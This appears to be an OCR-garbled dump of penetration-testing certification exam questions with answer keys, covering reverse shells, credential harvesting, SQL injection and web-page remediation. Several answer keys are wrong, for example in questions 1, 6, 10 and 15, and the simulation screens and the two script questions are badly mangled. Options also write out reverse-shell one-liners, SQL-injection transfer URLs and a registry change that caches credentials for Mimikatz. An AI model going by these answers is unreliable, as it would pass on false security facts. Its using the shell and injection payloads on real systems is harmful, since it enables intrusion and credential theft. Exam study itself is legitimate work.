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QUESTION NO: 1

A penetration tester successfully exploits a DMZ server that appears to be listening on an outbound port. The penetration
tester wishes to forward that traffic back to a device. Which of the following are the

BEST tools to use for this purpose? (Choose two.)
A. Tcpdump

B. Nmap

C. Wireshark

D. SSH

E. Netcat

F. Cain and Abel
ANSWER: BD

QUESTION NO: 2

A consultant is attempting to harvest credentials from unsecure network protocols in use by the organization. Which of the
following commands should the consultant use?

A. tcpdump
B. john
C. hashcat

D. nc

ANSWER: A

Explanation:

Reference: https://www.binarytides.com/tcpdump-tutorial-sniffing-analysing-packets/

QUESTION NO: 3

A penetration tester compromises a system that has unrestricted network access over port 443 to any host. The penetration
tester wants to create a reverse shell from the victim back to the attacker. Which of the following methods would the
penetration tester MOST likely use?
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A. perl -e 'use SOCKET"; $i="; $p='443;
B. ssh superadmin@ -p 443

C. nc -e /bin/sh 443

D. bash -i >& /dev/tcp//443 0>&1

ANSWER: D

Explanation:

Reference: https://hackernoon.com/reverse-shell-cf154dfee6bd

QUESTION NO: 4

For which of the following reasons does a penetration tester need to have a customer’s point-of-contact information available
at all times? (Choose three.)

A. To report indicators of compromise

B. To report findings that cannot be exploited

C. To report critical findings

D. To report the latest published exploits

E. To update payment information

F. To report a server that becomes unresponsive
G. To update the statement of work

H. To report a cracked password
ANSWER: ACF

QUESTION NO: 5

Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer
overflow?

A. Stack pointer register
B. Index pointer register
C. Stack base pointer

D. Destination index register
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ANSWER: A

Explanation:

Reference: http://www.informit.com/articles/article.aspx?p=704311&seqNum=3

QUESTION NO: 6

A tester was able to retrieve domain users’ hashes. Which of the following tools can be used to uncover the users’
passwords? (Choose two.)

A. Hydra

B. Mimikatz

C. Hashcat

D. John the Ripper
E. PSExec

F. Nessus

ANSWER: B E

Explanation:

Reference: https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/

QUESTION NO: 7

A penetration tester is able to move laterally throughout a domain with minimal roadblocks after compromising a single
workstation. Which of the following mitigation strategies would be BEST to recommend in the report? (Select THREE).

A. Randomize local administrator credentials for each machine.
B. Disable remote logons for local administrators.

C. Require multifactor authentication for all logins.

D. Increase minimum password complexity requirements.

E. Apply additional network access control.

F. Enable full-disk encryption on every workstation.

G. Segment each host into its own VLAN.

ANSWER: CDE
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QUESTION NO: 8

A penetration testing company is performing a penetration test against Company
A. Company A has provided the IP address range 10.0.0.0/24 as its in-scope network range. During the information
gathering phase, the penetration tester is asked to conduct active information-gathering techniques. Which of the following is

the BEST tool to use for active information gathering?
hping3

B. theHarvester
C. tcpdump
D. Nmap

ANSWER: D

QUESTION NO: 9

A recently concluded penetration test revealed that a legacy web application is vulnerable to SQL injection. Research
indicates that completely remediating the vulnerability would require an architectural change, and the stakeholders are not in
a position to risk the availability on the application. Under such circumstances, which of the following controls are low-effort,
short-term solutions to minimize the SQL injection risk? (Choose two.)

A. Identity and eliminate inline SQL statements from the code.

B. Identify and eliminate dynamic SQL from stored procedures.

C. Identify and sanitize all user inputs.

D. Use a whitelist approach for SQL statements.

E. Use a blacklist approach for SQL statements.

F. Identify the source of malicious input and block the IP address.
ANSWER: CD

QUESTION NO: 10

A penetration tester is required to exploit a WPS implementation weakness. Which of the following tools will perform the
attack?

A. Karma
B. Kismet

C. Pixie
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D. NetStumbler

ANSWER: D

Explanation:

Reference: https://en.wikipedia.org/wiki/NetStumbler

QUESTION NO: 11 - (SIMULATION)

SIMULATION

You are a penetration tester reviewing a client’s website through a web browser.

INSTRUCTIONS

Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
ace Secure System

€  hiipsiicomptia.orglogin aspx

Secure System

User name

Password

View Cartificate View Source View Cookias

Remediate

FEcE Remediate Source Remediate Coockias
Cerctificate
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General | Detals | Certfication Path

L@ Certificate Information

This certificate is intended for the following purpose(s):
= Ensures the identity of a remote compuiter

* Refer to the certification suthority's statement for detals.

Issued to: * COMptia.org

1ssued by: RapidSSL SHA256 CA

valid from 7/18/2016 to 7/19/2018
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ece Secure System
S (* hitpsifcompha.orglogin aspviewsource

<htmi=

<head=>

<title>Secure Login</title=

</head=

<body=

=meta

content=
“2RmZGZnaHNzZmigbGdoc2Rma2pnaGRzZmpoZ GZvaWi2aGRmc29pYmp 32X IndWhdmSpb2hzZ Gd1a
WdloaGR1ZmZpZ2hzZ DipYmhgZHNmc291Ymdoc3d5ZGI Z27i

bniNkbGligO2Job3VpYXNpZ GZubXMTbGtkZmiaHZsb3NhZ GJua2N4dnZ 1aWdia3NgYWVga2 mbGL1Y3Z
2Z)gbGFzZWJImaxXVkZ GZidmxiamFmbGhkc3VmZyBuc2pyZ2hzZHVmaG

d1d3NmZ2hgZHNmZmJ 1 c2hmdWRzZmZoZ 3U 3cndweWhmamRzZmZ2bnVzZm5S3cnVmYnZ 1.2XJ2==
“name="csri-token"/>

=select=<script=

document write("<OPTION value=1>'+document location href substring{document location href indexOf{"f=")
+16)+"</OPTION=").

=fscript=</select=

=div align= "center’>

=form action= “<c:url value= "main.do’/>" method= "post™

=div style= “margin-top: 100px;margin-bottom: 10px; "=

<span style= "width:500px colorblue;font-size:30px font-weight bold . border-bottom: 1px solid blue;™>
Comptia Secure System Login </span=

<fdiv=

=div style= "margin-bottom:5px;">

<span style= "width: 100px,">Name</span=

<input style= "width: 150px,” type= "text™ name= "name” id= "name” value="">

<| — input style= "width:150px;" type= “text" name= "name” id= "name” value= "admin" — —=

</div>

=div==span style= "width: 100px,"=Password: </span><input style= "width: 150px.” type= "password” name=
*Password” id= “password” value="">

<| — div=<span style= "width: 100px;"> Password. </span><input style= "width:150px;” type=password"
name= "Password” id= "password” value = "password” —=>

=fdiv=

<input type= "submit” value= “Login™></form=

<fchiv=>

=/body=

=</htmil=
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Drag and Drop Options

Remove cenilicale from server

Generate a Certificate Signing Request

This certrficate is ntended for the following purpose(sk
»Ermres the dentty of 8 remote computer Submit CSR la the CA

Install re-issued certificate on the server
* Befer 15 the certAcation authontys statmment for detads.
lssued to: " COMPlia 0rg
nssued by RApidSSL SHAZ56 CA

vald from 7/18/2016 1o 71192018

L more about cersficatey
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Drag and Drop Options

| General | Detads | Certification Path | Remove cerificate from seqver

v] Geneqate a Certificale Signing Reguest
1::! Ll Submil CSH 1o the CA
| Se 11 0d 3e 9c £9 23 89 d2 Da Be... Install re-1ssued certificate on the server
_ Signature hash algorithm sha256 E Step 1
Monday, July 18, 2016 7-00:0__.
Friday, July 19, 2018 6:59.59.
*comptia.com = Step 2
Step 3
Step 4

e e

Learn more about ceriificate detals
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' L .' m“ \ Q._ Qﬁ "?,;‘- T}}P‘ Q_ﬁf;_?ﬁ . g

c msﬂm'npﬂn arg'bgnaspx#rmmﬁateo&rt

Drag and Drop Dp{irnm

[ Generad [ Dot | Corwcatonath |
it Remove certilicale from senver
l?‘FlGeuTmst Glfhd CA = Generale a Certificate Signing Request
L " comphia org | Submit CSR to the CA
| : Install re.ssued certificalie on the server
Step 1
’ !
Step 2
| :
Step 3
| |_ View Certificans ] -
| {
Certificate status: Step 4
! The certificate is expired!

Learn more about certification paths
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@ ®  Secure System
¢« C https:/icomptia org/login.aspx#remediatesource

1 D<himi=>
2 D<head>
J0<titie>Secure Login<fitie>
4 D</head=
5 B<body>
6 O<meta
7 @content=
"c2RmZGZnaHNzZmigbGdoc2Rma2pnaGRzZmpoZ GZvaWi2ZaGRme29pYmp 32X IndWivdmSpb2hz7 Gd1a
WJoaGR1ZmZpZ2heZDipYmhgZHNmc291Ymdoc3d5SZGI 222
& D bnNkbGigO2Job3VpYXNpZ GZubXMTbGikZmiaHZsb3INhZGJua2N4dnZ 1aWdia3NgYWVqa2JmbGL1Y3Z
22JgbGF2ZWImaxXVkZ GZidmadamFmbGhke3VmZyBuc2pyZ2heZHVmaG
9 Dd1d3NmZ2hqZHNMZmJ 1 c2hmdWRzZmZ 0Z 3U3cndweWhmamRzZmZ 2bnVzZm53cnVmYnZ 12¢J)2==
‘name="csr-loken’/>
10 D<select><script>
11 mdocument write( <OPTION value=1>"+document location href substring(document location href indexOI"f=")
+16)+"</OPTION>");
12 @</script></select>
13@<div align= "center>
14 O<form action= "<c url value= "main do’/>" method= “post™>
15 @<div style= “margin-top: 100px; margin-bottom: 10px; ">
16 D<span style= “width 500px;color biue font-size: 30px font-weight bold border-bottom: 1px solid biue,">
Comptia Secure System Login </span>
17 O</div>
18 @<div style= “‘margin-bottom Spx,"™>
19 m<span style= “width 100px,">Name</span>
20@=input style= "width 150px,” type= "text” name= "name” id= "name” value="">
21 @< - input style= “wadth 150px.” tyvpe= “tex1” name= “name” id= “name” value= "admin” - —
22 @</dv>
23 @=div=<span style= “width; 100px;">Password: </span=<input style= "width:150px_" type= "password” name=
*Password” id= “password” value="">
24@<l - div=<span style= “width 100px."> Password: </span=<input style= "width 150px.” type=password”
name= "Password’ id= "password" value = "password” —>
250</div>
26 D<input type= "submit” value= "Login"=</fform=
27 B=ldv=

28 D<body=
290 <Mitmi>
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LN Secure Jysiem
« © https://comptia.org/login aspx#remediatecookies

Name Vake | Domain | Path | Expres/. Size | HTTP | Secwe SameSie
ASP HET Sesssnkd Wibcubzsadessgedibocy e S ain a4 o o odelete
_ma BEA0HIT0 STIGTITID TEORIEE06D 1508260561 160266962 1 comptne |/ 2019-10-1 s O 0 Ddelete
_m WAMLIT0 T 5 1S0RETHEELLY Cormgha o 2017-10-1 12 o o odelete
e MB104370 comgban | | Sassn ul 0O 0 Odelete
bt 1 coemptia o 2017-10-1 R @ odelete
ey W07 Dehccount N0 Typestiot % I00etnede 1 compuaa. | | 2015-13-1 # 0O | O Cdelete
e 3610470 1508266961 1 1 ubmearguogellmeErs oI AmE | Complil 2008-04-1 s 8 o odelete
_Sp_d 07T AaBABGECONS 1c 1LOR2GESEL 1 140026801 150806696 BIEMIT | compuing | | | 2019-18-1 »m 0O 0 Cdelate
_up_ses OTET . [r—— 2017-10-1 2 B o odelete

ANSWER: See explanation below.
Explanation:

Step 1 - Generate a Certificate Signing Request
Step 2 - Submit CSR to the CA

Step 3 - Install re-issued certificate on the server

Step 4 - Remove Certificate from Server

QUESTION NO: 12 - (DRAG DROP)

DRAG DROP

A manager calls upon a tester to assist with diagnosing an issue within the following Python script:

#!/usr/bin/python s = “Administrator”

The tester suspects it is an issue with string slicing and manipulation. Analyze the following code segment and drag and drop

the correct output for each string manipulation to its corresponding code segment. Options may be used once or not at all.

Select and Place:
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Sfd 12t 2]

S[F3::—17

g8[=2:-29
ANSWER:

Code segment

s[4:12:2]

S[3::-1]

g[-7:-2]
Explanation:

QUESTION NO: 13

A penetration tester is checking a script to determine why some basic math errors are persisting. The expected result was
the program outputting “True”.
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root:~# cat ./test.sh
¥!/bin/bash

source=10

let dest=5+5

if [ ‘*source’ = ‘dest’ ]; then
echo “True”

cho “False”

m

¥End of File

root:~¥ ./test.sh

Given the output from the console above, which of the following explains how to correct the errors in the script? (Choose
two.)

A. Change ‘fi’ to ‘EndIf’.

B. Remove the ‘let’ in front of ‘dest=5+5’.

C. Change the ‘=" to -eq’.

D. Change ‘source’ and ‘dest’ to “$source” and “$dest”.

E. Change ‘else’ to ‘elif’.

ANSWER: BD

QUESTION NO: 14

Joe, an attacker, intends to transfer funds discreetly from a victim’s account to his own. Which of the following URLs can he
use to accomplish this attack?

A. https://testbank.com/BankingApp/ACH.aspx?CustlD=435345&accountType=F&action-
ACHTransfer&senderlD=654846-ify=False&creditaccount="OR 1=1 AND select username from testbank.custinfo where
username like ‘Joe’-&amount=200

B. https://testbank.com/BankingApp/ACH.aspx?CustiD=435345&accountType=F&action-
ACHTransfer&senderlD=654846-ify=False&creditaccount="OR 1=1 AND select username from testbank.custinfo where
username like ‘Joe’ &amount=200

C. https://testbank.com/BankingApp/ACH.aspx?CustlD=435345&accountType=F&action-
ACHTransfer&senderlD=654846-ify=True&creditaccount="OR 1=1 AND select username from testbank.custinfo where
username like ‘Joe’ —&amount=200
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D. https://testbank.com/BankingApp/ACH.aspx?CustlD=435345&accountType=F&action-
ACHTransfer&senderlD=654846-ify=True&creditaccount="AND 1=1 AND select username from testbank.custinfo where
username like ‘Joe’ —&amount=200

ANSWER: B

QUESTION NO: 15

During a penetration test, a tester runs a phishing campaign and receives a shell from an internal PC running Windows 10
OS. The tester wants to perform credential harvesting with Mimikatz.

Which of the following registry changes would allow for credential caching in memory?
A. reg add HKLM\System\ControlSet002\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 0
B. reg add HKCU\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

C. reg add HKLM\Software\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d
1

D. reg add HKLM\System\CurrentControlSet\Control\SecurityProviders\WDigest /v userLogoCredential /t REG_DWORD /d 1

ANSWER: A
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